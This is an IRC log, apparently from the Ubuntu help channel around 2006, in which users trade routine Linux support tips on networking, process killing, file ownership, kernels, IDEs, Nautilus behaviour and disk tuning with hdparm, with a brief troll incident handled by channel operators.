[12:45] <IceBreak> V4Vendetta:  keep thinking that
[12:45] <GnarusLeo> !smb
[12:45] <IceBreak> bigfoot1: keep thinking that
[12:45] <ubotu> Wish I knew. Try searching at http://ubuntu.cc.com.au/, GnarusLeo
[12:45] <GnarusLeo> !samba
[12:45] <ubotu> samba is, like, totally, https://wiki.ubuntu.com/SettingUpSamba or https://wiki.ubuntu.com/MountWindowsSharesPermanently
[12:45] <V4Vendetta> IceBreak, lol, i think google has better things to do
[12:46] <RabidDog> IceBreak, if u say so, so what do i do?
[12:46] <IceBreak> all your google searchss are already registered with www.google.com and gmail account
[12:46] <bigfoot1> IceBreak: what i mean is, i don't have any relationships with google. but i do with the people i work with.
[12:46] <IceBreak> RabidDog: learn how to configure internet proerply in linux, i'm sure there is plenty of doucmentation for that
[12:46] <fluxt> hi GnarusLeo how's the linux hacking going?
[12:46] <Frogzoo> bigfoot1: https is enough to deter idle curiosity
[12:47] <RabidDog> IceBreak, actually no there is virtually no documentation on dual wan
[12:47] <IceBreak> bigfoot1: what do you want to do with gmail ? if you access https:// it's secure
[12:47] <GnarusLeo> hi fluxt :) Im getting there ...
[12:47] <fluxt> :)
[12:47] <fluxt> nite all
[12:47] <IceBreak> RabidDog: but your problem isnt related.. from whwat i understand, if you have only eth0 connected, it still doesnt work, no ?
[12:49] <Frogzoo> really important question: with XGL/Compiz can you run a DVD on the desktop/root window?
[12:49] <Quinn_Storm> Frogzoo: I haven't seen any reason not to
[12:49] <Frogzoo> Quinn_Storm: nice :D
[12:49] <Quinn_Storm> Frogzoo: of course you probably want to use the options -vo gl2 and -framedrop to mplayer
[12:49] <IceBreak> Frogzoo:  there is #ubuntu-xgl i think
[12:49] <bigfoot1> IceBreak: with gmail, i just want to send and receive emails.
[12:49] <Quinn_Storm> IceBreak: thanks, I needed that too
[12:50] <IceBreak> bigfoot1: so thats the problem ?
[12:50] <RabidDog> err now it's working
[12:50] <bigfoot1> iceburgh:  what's the problem?
[12:50] <Frogzoo> I just think full transparency to an animated desktop should be pretty impressive
[12:50] <bigfoot1> IceBreak: the above was for you. sorry iceburgh
[12:50] <Steil> Is there a way I can stop konqueror from being the default filemanager? I use gnome but it appears to have taken over
[12:50] <IceBreak> bigfoot1: i thought you are trying to do something, dunno
[12:50] <RabidDog> IceBreak, ok seems to be connecting now, how do I tell certain apps to use certain internet connections only?
[12:50] <bigfoot1> IceBreak: like what? what were you guessing?
[12:51] <IceBreak> you want confedntionality
[12:51] <Hoxzer> what would be good video editing software for mpeg files?
[12:51] <IceBreak> RabidDog: you dont... it's not in that layer
[12:51] <Frogzoo> RabidDog: you can't - unless you can sort it out in the routing tables
[12:51] <IceBreak> RabidDog: but you could use "route" for routing ip via interfaces
[12:51] <bigfoot1> iceburgh: yes i want confidentiality... so...?
[12:52] <IceBreak> basically if it works now, all your i-net access will be via eth0
[12:52] <IceBreak> bigfoot1: so use https://gmail.com not http://
[12:52] <bigfoot1> IceBreak: i'm just curious what you were thinking. that's all.
[12:52] <bigfoot1> IceBreak: yes, i will always use https
[12:52] <IceBreak> that was what i was thing
[12:52] <IceBreak> welp, anybody big flight5 update, got to reboot
[12:52] <RabidDog> icebreak and eth1?
[12:52] <IceBreak> RabidDog: eth1 will be used for all communcation to 192.168.0.x ips
[12:52] <RabidDog> what will eth1 192.x.x.x be used for?
[12:53] <RabidDog> k
[12:53] <Frogzoo> bigfoot1: if you're just gossiping with your mates, I wouldn't worry - if you're swapping recipes for anthrax, that's a different matter
[12:53] <IceBreak> anybody got any idea why mysql4-server requires tons of deps that mysql5-server doesnt ? like postfix, etc...
[12:54] <IceBreak> and can some friendly user check if a bug exists,a nd if not file for php4-pear requiring php5-common as a dep ?
[12:54] <peratu> res
[12:55] <htinn> my php4-pear says it requires php4-common
[12:55] <htinn> Depends: php-pear, php-db, php-http, php-mail, php-net-smtp, php-net-socket, php-xml-parser, php4-common (>= 4:4.4.2-1)
[12:59] <htinn> interesting
[12:59] <htinn> "This is a transitional package to move people to the "php-pear" package, which is now generated from the php5 sources."
[12:59] <htinn> i guess that explains that
[01:00] <intelikey> anybody want to take a stab at fixing a few cli apps herr ?
[01:00] <intelikey> w who and top are all hosed.
[01:00] <gnomefreak> top works here
[01:00] <gnomefreak> i think :(
[01:00] <intelikey> gnomefreak what about who ?
[01:01] <gnomefreak> yep top does
[01:01] <gnomefreak> ok hold please checking
[01:01] <gnomefreak> who works
[01:02] <tolga> hi
[01:02] <robins> hello all
[01:02] <intelikey> all i get is   hehhe nothing.
[01:02] <intelikey> tty2 [root#~]  who
[01:02] <intelikey> tty2 [root#~]  who -a
[01:02] <intelikey> tty2 [root#~] 
[01:02] <gnomefreak> after these upgrades i they might not work but for now they do
[01:03] <gnomefreak> intelikey: why tty? why not term?
[01:03] <gnomefreak> hi robins
[01:04] <intelikey> console mode.    i have x but it's not running atm
[01:04] <gnomefreak> ahhhhhhhh
[01:04] <robins> hi gnomefreak
[01:05] <intelikey> and i add  \l  to my PS1  so i can tell which tty i'm on.   i have 22 login tty's   heh
[01:06] <robins> 22 tty's how on earth do you use them all???
[01:06] <intelikey> i only use about 7 or 8 on avarage but when coding things i tend to have documents open in several more of them.
[01:07] <robins> ahh did wonder, as a sysadmin I only really ever need about 6 at the max
[01:08] <katarot> help please i been trying to get my broadcom wireless detected for days with no luck but last night i was messing about and i went on to devices and it was there
[01:08] <intelikey> yeah will screen would give 64 per tty  but i dont like screen so...
[01:08] <katarot> now i need to know how to use it to connect to it
[01:09] <intelikey> katarot read the wiki on wifi ?
[01:09] <katarot> i have
[01:09] <robins> katarot check out the package wifi-radar. It was installed on my machine under Applications-Internet
[01:09] <Misterii> hey peeps
[01:10] <robins> makes joining wifi-networks a doddle
[01:10] <Misterii> any1 tell me can I install xubuntu in ubuntu-console. My network isn't working on ubuntu-server. I'm a n00b
[01:11] <Brunellus> has anyone else had problems with broken openoffice.org dependencies while dist-upgrading to dapper
[01:11] <intelikey> Misterii   aptitude   or   apt-get    either one.
[01:12] <pvd2006> I am trying to play a dvd on my Ubuntu and I tried to apt-get install libdvdcss2 but I got an error saying that its not available.
[01:12] <gnomefreak> Brunellus: yes everyone and please take dapper talk to #ubuntu+1
[01:12] <katarot> yeah i cant get it installed because it wont connect to the internet so i downloaded it on winxp and now i dont know how to move it
[01:12] <intelikey> !tell pvd2006 about repos
[01:13] <pvd2006> intelkey I have mutliverse and universe enabled
[01:13] <katarot> i have got it on ubuntu but something about i dont have permissions
[01:13] <intelikey> check the file version pvd2006 ?
[01:13] <htinn> pvd2006: you need something like a plf repo
[01:13] <katarot> ooh sorry i need to go
[01:14] <intelikey> apt-cache search libdvdcs
[01:14] <peratu> libdvdcss2
[01:14] <pvd2006> intelkey, that last command you gave me worked
[01:15] <Misterii> intelikey, does BuM automatically identify the new desktop (xubuntu) when I install?
[01:15] <IceBreak> does xchat-gnome have a systray option?
[01:15] <intelikey> i have no idea Misterii i've never used bum
[01:16] <pvd2006> yeah the synaptic package manager wont find libdvdcss2
[01:17] <pvd2006> is it in something different than mutliserver/universe?
[01:17] <pvd2006> verse*
[01:17] <babo_> Does anyone here use skype or wengo ?
[01:17] <pvd2006> plf repo, hmmmm
[01:19] <intelikey> well Krap.   i'm fighting with this old 'micro-reboot' system for this guy right now, and it looks like the os is winning....         pvd2006  <htinn> pvd2006: you need something like a plf repo <---   maybe check the bot on  restricted formats   i think the link may be there ?
[01:20] <intelikey> !restricted formats
[01:20] <ubotu> restricted formats is, like, https://wiki.ubuntu.com/RestrictedFormats or 'codecs'
[01:20] <mikul> how do i do to chown all subfiles and subfolders in a folder? because when i try just chown user:group /folder it wont work as i want... the /folder/folder2 wont be effected.... so how do i do?
[01:20] <intelikey> -R
[01:20] <intelikey> and    man man
[01:21] <robins> like intelikey says chown -R user
[01:21] <intelikey> and    man man
[01:21] <intelikey> :)
[01:21] <Misterii> I'm running a burndown compaq armada P2 400Mhz laptop. Is Linux-386 eficcient?
[01:22] <mikul> intelikey, thx
[01:22] <babo_> Help firefox crashed ... how do I find and kill the firefox process >
[01:22] <babo_> ?
[01:22] <intelikey> Kernel: Linux 2.6.10-5-386 | Distro: unknown | CPU: Pentium MMX @ 263 Mhz | Mem usage: 13.9/92.4 MB (15%) | Swap usage: unavailable | Disk usage(ST3630A): 0.5/0.6 GB (83%) | Uptime: 26 mins 46 secs
[01:22] <robins> well I have breezy running quite happily on a duron 600mhz
[01:22] <intelikey> Misterii ^
[01:22] <intelikey> you judge
[01:23] <GnarusLeo> babo, ps aux | grep fox (get the PID number) and then kill -9 <pid>
[01:23] <htinn> killall firefox
[01:23] <GnarusLeo> Wich is a good image viewer program for gnome? The one like windows has?
[01:23] <intelikey> sudo kill -9 `pidof <blah>`
[01:24] <mikul> killall firefox-bin -9 :P
[01:24] <GnarusLeo> hehe ... just pick and choose babo :) But mikul's works
[01:24] <intelikey> the -9 on that is ignored  :)
[01:26] <GnarusLeo> omg ... 5 NOK for 0.5l beer tonight :) Thats about under a dollar, and a beer usually costs about 10-11 dollars in norway!
[01:26] <icebreak> what is a good linux development IDE ?
[01:27] <pvd2006> whats the command to see your mounted drives and their location?
[01:27] <rysiek|pl> icebreak: what do you need it for?
[01:27] <intelikey> pvd2006 mount
[01:28] <robins> pvd2006 df -h will show mounts and the amount of space free
[01:28] <rysiek|pl> icebreak: Quanta+ r0x for webpages and such, KDevelop is nice fo C/C++. Eclipse is great (or so I've heard) for almost anything, Lazarus is my personal favourite (FreePascal)
[01:28] <ron_> configure: error: Your libstdc++ doesn't have the sstream or strstream classes
[01:28] <ron_>  <--- ?
[01:28] <icebreak> php/C/C++
[01:28] <intelikey> ron_  b-e ?
[01:28] <ron_> anyone know what that means?
[01:29] <intelikey> !b-e
[01:29] <ubotu> I heard b-e is no make ?  you need build-essential or if you get errors saying gcc cannot create executables, or that you can't find header files like stdio.h, you need to do a    sudo apt-get install build-essential.
[01:29] <ron_> whats a b-e
[01:29] <intelikey> did you do that ^  ?
[01:29] <rysiek|pl> icebreak: php -> Quanta Plus, if you don't need an integrated compiler/debugger then I would also give it a try for C/C++
[01:29] <kemik> icebreak: eclipse is nice for java, thereis a C/c++ plugin, but i'm not sure it's very good
[01:29] <rysiek|pl> icebreak: but if you need one, go for Eclipse or KDevelop
[01:29] <ron_> ty
[01:29] <htinn> CDT is nice, actually
[01:29] <icebreak> i'llt ry kdevelopt
[01:30] <rysiek|pl> CDT?
[01:30] <htinn> kdevelop for doing Qt stuff
[01:30] <htinn> CDT is a plugin for eclipse
[01:30] <kemik> C Developtment Toolkit
[01:30] <kemik> i think
[01:31] <intelikey> gtk ?
[01:31] <dv_> no
[01:31] <dv_> gtk is for guis
[01:31] <dv_> CDT is an eclipse plugin
[01:32] <htinn> you probably want glade/anjuta for GTK stuff
[01:32] <WebLOCH> hey guys looking for some advice, if i open SSH on my box I allow access to my user account but i keep my password short becaus e sudo gets cumbersome with long passwords, is there anyway of disallowing my main user account but keeping ssh running?
[01:32] <dv_> htinn, does anjuta have multi-project support by now?
[01:32] <HiddenFly> does anyone know if CREATIVE SOUND BLASTER AUDIGY SE works well in ubuntu?
[01:32] <htinn> not last i checked, dv_
[01:32] <dv_> damn :|
[01:32] <dv_> and just autotools for building, eh?
[01:33] <htinn> been a while since i've used it though
[01:33] <natroll> anyone know if the first line in a makefile is absolutely required? (CC=/usr/bin/gcc)
[01:33] <intelikey> WebLOCH /etc/security/access
[01:33] <dv_> natroll, no its not
[01:33] <natroll> sweeeeeeeeeeeeeeeeet
[01:34] <mister_roboto> natroll: if it's NOT set though, the makefile might be using something from the environment that is not quite right :)
[01:35] <fiveiron> i'm trying to compile something and i get this:
[01:35] <fiveiron>  "undefined reference to ppdebug"
[01:35] <LazyAngel> Annyone using MD RAID5? I'm about to reinstall ubuntu, and from before, i have partitioned the data and system seperatly, but it doesn
[01:35] <fiveiron> getting that from lex..
[01:35] <Misterii> what's a good kernel for P2 400 Mhz laptop?
[01:35] <redguy|work> -686
[01:35] <LazyAngel> doesn't seem that i can use the old MD RAID5 table... ?
[01:36] <Misterii> thnx
[01:36] <Quinn_Storm> Misterii: as long as you have enough ram, the most recent -686 is fine
[01:36] <Misterii> 256Mb efficient?
[01:36] <Quinn_Storm> Misterii: well, > 4MB is plenty so...yes
[01:36] <natroll> mister_roboto: i'm not using it for compiling actually, but as a file-distributer in a package
[01:37] <htinn> err maybe k7
[01:37] <mister_roboto> natroll: in that case, why would you care if the compiler variable is defined?   oh, nm... you were just asking if you needed to define the variable
[01:37] <natroll> mister_roboto: exactly :)
 Misterii: well, > 4MB is plenty so...yes <--- excuse me.  the initrd.img wont fit in 4m anymore.
[01:37] <redguy|work> htinn: if you have k7 (athlon, duron) why not use the -k7 kernel?
[01:37] <natroll> mister_roboto: unless you have a better suggestion for doing that in a package
[01:38] <Quinn_Storm> intelikey: oh? ok, well I had forgotten about initrd, and I did say > 4MB not =4MB :-P
[01:38] <htinn> i probably should get the k7 kernel
[01:38] <intelikey> k
[01:39] <mister_roboto> natroll: well... make is really a tool for resolving time-based dependencies. doesn't sound like a natural fit for doing file distribution. not sure what you're doing exactly but what about simply using rsync in a script?
[01:39] <Voidy> Hello, is there a program for ubuntu to use TAPI compatible phones?
[01:39] <htinn> or maybe i should just wait for 2.6.16 kernel
[01:41] <redguy|work> htinn: as you wish, but i don't see any point in waiting though
[01:41] <htinn> 386 seems to work okay :P
[01:42] <dmartos> fuking dog in the ass
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[01:43] <LinuxJones> !ops
[01:43] <intelikey> !ops
[01:43] <ubotu> Help! lilo, fabbione, lamont, Keybuk, jdub, mdz, Amaranth, tritium, ajmitch, crimsun, ogra, CarlK, Seveas, Burgundavia, apokryphos, thoreauputic, nalioth, Madpilot, ompaul, rob or Hobbsee
[01:43] <dmartos> fuking dog in the ass
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[01:43] <mister_roboto> "has left this channel"    what a nice way to put it  :)
[01:43] <snowblink> Seveas, maybe ban the IP?
[01:44] <intelikey> thank you.
[01:44] <LinuxJones> Seveas: ty
[01:44] <htinn> yay for the /clear command
[01:44] <Quinn_Storm> why is it that trolls can never spell?
[01:44] <overrider> htinn, cool, didnt know that existed
[01:44] <Voidy> they aren't allowed in public schools
[01:44] <LinuxJones> Quinn_Storm: they aren't very intelligent
[01:45] <mister_roboto> maybe that stupidity makes them lash out in frustration?
[01:45] <Quinn_Storm> lol
[01:45] <intelikey> Quinn_Storm i don't know.  but don't use that for a gauge; i can't spell either.
[01:45] <Quinn_Storm> lol, well many people can't
[01:45] <Quinn_Storm> its just that trolls almost always can't
[01:46] <natroll> mister_roboto: I have several files I want to distribute
[01:46] <intelikey> well if they were very smart they wouldn't troll....
[01:46] <mister_roboto> natroll: distribute as in...? copy newer versions to some remote machine?
[01:46] <natroll> mister_roboto: like, I have several files that define gnome menu entries
[01:46] <natroll> mister_roboto: along with several scripts
[01:46] <natroll> mister_roboto: that the menu entries point to
[01:47] <nic> Yo homies, I just installed daper drake flight 5 and whenever I try to sudo apt-get install a certin program it tries to install form the CD. How do I download only from repositories?
[01:47] <mister_roboto> natroll: you're just copying them to some remote machines?
[01:47] <natroll> mister_roboto: well, i'm customizing the installer cd to install these
[01:47] <gnomefreak> nic: paste your /etc/apt/sources.list to pastebin and please take dapper to #ubuntu+1
[01:48] <natroll> mister_roboto: so rsync is not an option
[01:48] <mister_roboto> natroll: oh, so you're just building a distribution package to prepare a CD and you want the newer files to go to that package location when they get updated?
[01:48] <natroll> ummm, no
[01:49] <natroll> mister_roboto: i'm including the package on the cd to be installed at the end of the installation
[01:50] <natroll> mister_roboto: so when they're done with the installation they have these menu entries already in gnome with no user-interaction
[01:50] <mister_roboto> natroll: i'm almost ready to give up trying to figure out what you're saying :)   what exactly are you doing with "make" itself?
[01:50] <natroll> having make install distribute the files
[01:51] <intelikey> reboot number 29 on the reconfigure of the micro-reboot system......   hehhe   and it hung.
[01:51] <natroll> nvm
[01:51] <Misterii> Ubuntudesktop is very slow on my P2 400Mhz laptop. Im running linux-386 kernel. Would linux-686 kernel make it faster?
[01:51] <mister_roboto> natroll: what does make give you in that scenario that you can't do with a normal script?
[01:51] <Angel_Dex> Hiiiiiiiii everyone
[01:51] <Misterii> hiiiiiiiii
[01:51] <alterr> hi, i need to compile the pl2303 module for 2.6.12-10-686-smp. So, i have installed linux-headers-2.6.12-10-686-smp and linux-source-2.6.12.
[01:51] <boyfromthedwarf> Anyone know if there is a way to get gnome 2.14 (which was just released)?  I can't find the installer/source on gnome.org.  If not, does anyone know when ubuntu will officially support it?
[01:51] <natroll> mister_roboto: a normal script isn't easy to run at the end of the installer
[01:51] <Angel_Dex> does anyone know how i can tell if im stressing my computer?
[01:51] <alterr> anyone help me ?
[01:52] <LinuxJones> Misterii: you should check out xbuntu-desktop it uses xfce 4 rather than gnome.
[01:52] <natroll> mister_roboto: in case you didn't understand, btw, i'm customizing the ubuntu installation cd
[01:52] <AndiM> Angel_Dex: huh? you mean if it's showing too many emotions, then it's over-stressed, or what? ;)
[01:52] <mister_roboto> natroll: ahh... you mean the installer IS a makefile? ur doing something like "make install"?
[01:53] <Misterii> LinuxJones, yeah... I'm going to. But Gnome looks so sweet^_^ I was wondering if I could keep it =DD
[01:53] <alterr> help guys
[01:53] <Angel_Dex> AndiM Lol I was just thinking i have way to much like aplets and stuff and i wanted to know how to check if im stressin it and how to reduce it
[01:53] <natroll> mister_roboto: well, no, nvm
[01:53] <overrider> Angel_Dex, top, vmstat
[01:53] <AndiM> Angel_Dex: useful stuff: "free", "top", "gkrellm"
[01:53] <natroll> mister_roboto: i'll work it out and i'[ll let ya know
[01:53] <mister_roboto> natroll:  lol. sounds good to me
[01:54] <overrider> Angel_Dex, conky
[01:54] <LinuxJones> Misterii: that's a pretty old system, Gnome in Dapper is much faster but it's not recommended unless your comfortable with Linux in general.
[01:54] <htinn> alterr, i think you only needed the headers
[01:54] <jadaz87> haha mister_roboto Styx that was a great song
[01:54] <Angel_Dex> Tasks:  78 total,   1 running,  77 sleeping,   0 stopped,   0 zombie
[01:54] <htinn> but i could be wrong about that
[01:54] <mister_roboto> jadaz87: another old-timer!  :)
[01:54] <Misterii> what applications are there for Xfce 4/ Is it any different from Gnome?
[01:54] <alterr> htinn, hum
[01:55] <Angel_Dex> overrider >.> system monitor is wrong on my ram?
[01:55] <htinn> what's a pl2303?
[01:55] <alterr> htinn, usb module
[01:55] <AndiM> htinn: usb -> serial converter chip, if I'm not mistaken
[01:55] <LinuxJones> Misterii: they have their own utilities for system config etc. but all your favorite gnome apps will run
[01:56] <Angel_Dex> system monitor says user memory 138MiB used outa 377MiB but Top says im using 322MB
[01:56] <Angel_Dex> im lost
[01:56] <ardchoille> I bought a SanDisk Cruzer Micro 256Mb flash drive and a SanDisk m240 MP3 player and they are both autodetected in Ubuntu 5.10. I updated the Ubuntu hardware wiki page with some good info.
[01:56] <LinuxJones> Misterii: they have a few flash tutorials on the xfce website I believe so you can see it in action and maybe determine if you like it.
[01:56] <jadaz87> mister_robot :)
[01:57] <[aJ] > Is it possible to upgrade Breezy's kernel?
[01:57] <htinn> alterr: i would guess you need a .ko file or something like that in your /lib/modules/2.6.xxx/ folder somewhere
[01:57] <Angel_Dex> Mem:    386764k total,   322972k used,    63792k free,    14848k buffers
[01:57] <Angel_Dex> <.<
[01:57] <AndiM> Angel_Dex: the only thing that matters is amount of memory that's swapped (paged) out, or, more closely, the amount of memory that's being swapped out/in within a certain time frame (see vmstat). Anything else is difficult to quantify.
[01:57] <Tempest2k> does anybody here no if Xgl works on Debian ?
[01:58] <alterr> htinn, do i have to make symbolic link for header ?
[01:58] <Angel_Dex> AndiM ummmm ok Swap:  1132540k total,    12476k used,  1120064k free,   166832k cached
[01:58] <htinn> alterr, just install the linux-headers package
[01:58] <alterr> htinn, example : linux -> linux-headers-2.6.12-10-686-smp
[01:58] <intelikey> man.... you can't even chain delete files in micro-reboot dos prompt,  i had forgotton how lame that crap is......
[01:58] <AndiM> Angel_Dex: hmm, the buffered amount is not too high, so maybe you have somewhat high memory pressure causing Linux to not being able to buffer too many things.
[01:59] <[aJ] > Is there a way to upgrade from linux-2.6.12-* to linux 2.6.15 or above?
[01:59] <Angel_Dex> AndiM how can i cut back?
[01:59] <AndiM> Angel_Dex: on my system:
[01:59] <AndiM>              total       used       free     shared    buffers     cached
[01:59] <AndiM> Mem:       3856232    3356896     499336          0     224652    2498676
[01:59] <AndiM> -/+ buffers/cache:     633568    3222664
[01:59] <AndiM> Swap:      1465120          4    1465116
[01:59] <gnomefreak> !upgrade
[01:59] <ubotu> Upgrading to Ubuntu 5.10 breezy -> http://wiki.ubuntu.com/BreezyUpgrade.  Upgrading to dapper (remember it may break). Please test the dist-upgrader -> https://lists.ubuntu.com/archives/ubuntu-devel/2006-January/014700.html.
[01:59] <alterr> htinn: but i need run a ' 'make modules
[01:59] <stamen81> hello
[01:59] <stamen81> gurus:)
[01:59] <[aJ] > gnomefreak: I'm not trying to upgrade the whole machine just the kernel
[01:59] <Gambit-> hey guys, stupid question, but if I put a group name into the members list of another group, will priviledges cascade accordingly?
[02:00] <[aJ] > gnomefreak: would I be better off just recompiling?
[02:00] <AndiM> Angel_Dex: ok, I admit I'm cheating, with my 4GB x8_32 system ;)
[02:00] <gnomefreak> [aJ] : no than
[02:00] <htinn> alterr: i assume you're compiling from source
[02:00] <Angel_Dex> AndiM hmmmm meany
[02:00] <stamen81> coul'd anybody help me
[02:00] <Angel_Dex> AndiM the max ram my comp can handle is 512
[02:00] <stamen81> to configure my video card ATI Radeon 9600
[02:00] <Tempest2k> anybody here runnng xgl ?
[02:00] <htinn> the driver source, that is
[02:00] <stamen81> to use 3D
[02:00] <gnomefreak> [aJ] : the 2.6.15 kernel need certain libs that breezy doesnt have so you cant mix repos either upgrade to dapper or wait till dapper is stable and try
[02:01] <gnomefreak> to upgrade to dapper
[02:01] <alterr> htinn: thanks
[02:01] <Tempest2k> yea
[02:01] <[aJ] > gnomefreak: THanks that's the exact answer I was looking for
[02:01] <LinuxJones> stamen81: have you seen the wiki page for ati cards ?
[02:01] <AndiM> Angel_Dex: but your values (esp. swap) seem normal; better make sure instead that hdparm config is ok.
[02:01] <htinn> no prob, alterr
[02:01] <gnomefreak> Tempest2k: try #xgl-ubuntu
[02:01] <Angel_Dex> AndiM Hdparm?
[02:01] <htinn> #ubuntu-xgl
[02:01] <Angel_Dex> AndiM Im kinda a noob
[02:02] <AndiM> Angel_Dex: hdparm -c3 -d1 -m16 /dev/hdX or so.
[02:02] <xiechy> have anybody opened Xgl but still can use DRI? or the shutdown of DRI is just for the sake of the released deb package?
[02:02] <AndiM> (or first: hdparm -c -d -m /dev/hdX)
[02:02] <gnomefreak> htinn: either channel works just more people in xgl-ubuntu
[02:02] <swapna> www.gmail.com
[02:02] <htinn> heh
[02:02] <Angel_Dex> AndiM what is a hdparm? >.> and why do ineed to check it? this is a new maxto
[02:02] <Angel_Dex> *r
[02:02] <gnomefreak> xiechy: use xgl-ubuntu channel for xgl questions
[02:03] <AndiM> Angel_Dex: well, exactly in order to not degrade your all-shiny all-brand-new Maxtor into some crappy tin box ;)
[02:03] <stamen81> so, could anybody elp ,me
[02:03] <Angel_Dex> AndiM Ok sooooo i just thro that command in my terminal then what?
[02:03] <stamen81> to enable DRI
[02:03] <LinuxJones> !ati
[02:03] <ubotu> ati is probably https://wiki.ubuntu.com/BinaryDriverHowto/ATI or http://www.ubuntuforums.org/showthread.php?t=24557&page=1&pp=10 or http://ubuntuforums.org/showthread.php?p=423589
[02:03] <stamen81> does anybody see me
[02:04] <LinuxJones> stamen81: see that link above
[02:04] <AndiM> Angel_Dex: read a good internet HOWTO; you don't want to mess up anything, I suppose...
[02:04] <Angel_Dex> /dev/hda1: Permission denied
[02:04] <intelikey> stamen81 no we can't see you sorry
[02:04] <AndiM> Angel_Dex: not partition; disk device!
[02:04] <AndiM> (and of course you need to be root for that)
[02:04] <Angel_Dex> @.@ ok ok
[02:06] <Angel_Dex> AndiM ok i typed that in and goooot this
[02:06] <Angel_Dex>  multcount    =  0 (off)
[02:06] <Angel_Dex>  IO_support   =  0 (default 16-bit)
[02:06] <Angel_Dex>  using_dma    =  1 (on)
[02:06] <AndiM> Angel_Dex: see, and that's very, very bad ;)
[02:07] <Angel_Dex> AndiM =o! why so!
[02:07] <AndiM> Angel_Dex: try hdparm -t -T or bonnie to verify transfer speed
[02:07] <AndiM> Angel_Dex: because your HDD *is* a crappy tin box ;)
[02:07] <Angel_Dex> AndiM TT_TT
[02:08] <Angel_Dex> AndiM i typed in  hdparm -t -T and got a big list of options
[02:08] <AndiM> Angel_Dex: you usually at least want to enable 32bit transfers
[02:09] <TueM> somebody help me
[02:10] <Angel_Dex> 148 MB in  3.03 seconds =  48.77 MB/sec
[02:10] <Angel_Dex>    AndiM
[02:10] <TueM> how install win32 codecs?
[02:10] <Angel_Dex>  564 MB in  2.00 seconds = 281.62 MB/sec AndiM
[02:10] <Angel_Dex> buffer then catche
[02:10] <Chousuke> Those look fine to me.
[02:11] <Angel_Dex> Chousuke >.> he say my HD is bad tho
[02:11] <AndiM> Angel_Dex: not your HDD, your config.
[02:11] <intelikey> where do yall get that hdpram tool ?
[02:11] <Chousuke> intelikey: from APT
[02:11] <AndiM> Angel_Dex: 3520 MB in  2.00 seconds = 1761.37 MB/sec ;)
[02:11] <Angel_Dex> AndiM Hmmm Ok >.>
[02:11] <GnarusLeo> how do I enable DMA on k3b?
[02:11] <Jack-Ho> hey
[02:11] <Jack-Ho> can any one help me with a joystick?
[02:11] <intelikey> Chousuke you have installed it that way ?
[02:12] <Angel_Dex> AndiM its a new (kinda new) maxtor 60gig
[02:12] <AndiM> GnarusLeo: notice how we're all talking about a tool called hdparm? ;)
[02:12] <Chousuke> intelikey: yes.
[02:12] <Chousuke> it should be installed by default on ubuntu though.
[02:12] <Chousuke> I think
[02:12] <intelikey> well how new is it ?
[02:12] <GnarusLeo> AndiM, umm, yeah? :)
[02:12] <natroll> two questions: 1) why does nautilus hide file extensions?, 2) how do i turn that off?
[02:12] <Angel_Dex> AndiM i do not want to stress my computer i just wish to make it last me a life time >.> XD
[02:12] <AndiM> but before you all go ahead and do strange things with hdparm, make sure to read some info about the options: some are dangerous or problematic/risky!
[02:12] <intelikey> Chousuke this is not a default system.
[02:13] <Chousuke> intelikey: well, sudo aptitude install hdparm then
[02:13] <intelikey> Chousuke what command to you use to install it with apt ?
[02:13] <LinuxJones> natroll: you don't need file extensions in Linux
[02:13] <AndiM> Angel_Dex: then it might be useful to tweak HDD noise management with hdparm (lower seek noise == less aggressive seeking == slightly lower performance == longer life)
[02:13] <natroll> LinuxJones: ummm, that wasn't my question
[02:13] <GnarusLeo> AndiM, does hdparm enable DMA?
[02:13] <intelikey> there aint no package by that name here Chousuke
[02:13] <Chousuke> intelikey: enable universe.
[02:13] <intelikey> it is
[02:13] <Angel_Dex> AndiM i did that in my bios and set it from preformance to Quite mode that the same deal?
[02:14] <natroll> LinuxJones: and for that very reason it shouldn't be hiding file extensions
[02:14] <intelikey> !info hdpram
[02:14] <Chousuke> Then it should be available.
[02:14] <xavier_> I'm looking for a soft to listen to web radios
[02:14] <Angel_Dex> stoped the clickings for sure >.>
[02:14] <Chousuke> intelikey: hdparm!
[02:14] <AndiM> Angel_Dex: most likely.
[02:14] <Chousuke> not pram
[02:14] <intelikey> yeah yeah
[02:14] <intelikey> !info hdparm
[02:14] <ubotu> hdparm: (tune hard disk parameters for high performance), section admin, is standard. Version: 6.1-1ubuntu2 (breezy), Packaged size: 51 kB, Installed size: 212 kB
[02:14] <nickrud> natroll: nautilus doesn't hide extensions
[02:14] <natroll> nickrud: yes, it does
[02:15] <Chousuke> please read the manual page of hdparm before using it, though.
[02:15] <Chousuke> some options may be dangerous.
[02:15] <on1009> xavier_, xmms can do that
[02:15] <natroll> nickrud: i'm lookint at file.desktop in terminal and all i see is file in nautilus
[02:15] <Angel_Dex> natroll mine arent hidden
[02:15] <xavier_> thanks on1009
[02:15] <natroll> Angel_Dex: did you turn it off or something?
[02:15] <gnomefreak> natroll: no it doesnt it doesnt use them for alot of files (use view hidden) will show you files.conf or files/whatever
[02:15] <natroll> this is a base install, pretty much
[02:16] <nickrud> natroll. Ah. That one particular case: that's a file launcher description written specifically for nautilus
[02:16] <Angel_Dex> natroll defualt install no such changes and all .stuffs are showin
[02:16] <Chousuke> natroll: .Desktop files are shorcuts, so I guess that's why it hides the extension.
[02:16] <Chousuke> You don't want Firefox.Desktop on the desktop.
[02:16] <natroll> nickrud: ahhhhh, that's annoying :/
[02:16] <LinuxJones> natroll:  what files are you looking to see extensions for ?
[02:17] <nickrud> natroll we all though you were talking about .jpg , .doc, etc.
[02:17] <natroll> it should have stuck out to me, in the same directory i have a shell script with .sh
[02:17] <natroll> nickrud: it's cool, i'm tired and cranky
[02:17] <Angel_Dex> are my specs good for a normal user? 933mhz PIII with 384MB of ram
[02:17] <natroll> many apologies people, just cranky
[02:17] <Angel_Dex> <.<
[02:17] <nickrud> natroll: that's ok, I'm just up, over-tired & cranky :)
[02:17] <natroll> Angel_Dex: depends on what you want to do
[02:18] <Angel_Dex> natroll mostly the Repo games and internet shit
[02:18] <natroll> Angel_Dex: yeah, that'll run almost everything
[02:18] <Angel_Dex> God damn openduke
[02:18] <Angel_Dex> TT_TT
[02:18] <natroll> Angel_Dex: might have some issues with 3d repo-games
[02:18] <natroll> Angel_Dex: unless your vid is decent
[02:18] <Angel_Dex> shitty rage pro ultra 128
[02:19] <natroll> well, that's better than my integrated junk
[02:19] <Angel_Dex> same
[02:19] <natroll> my BIOS only lets me allocate 1 MB
[02:19] <Angel_Dex> i threw it in to replace the mobos
[02:19] <Angel_Dex> that sucks
[02:19] <gnomefreak> Angel_Dex: language please
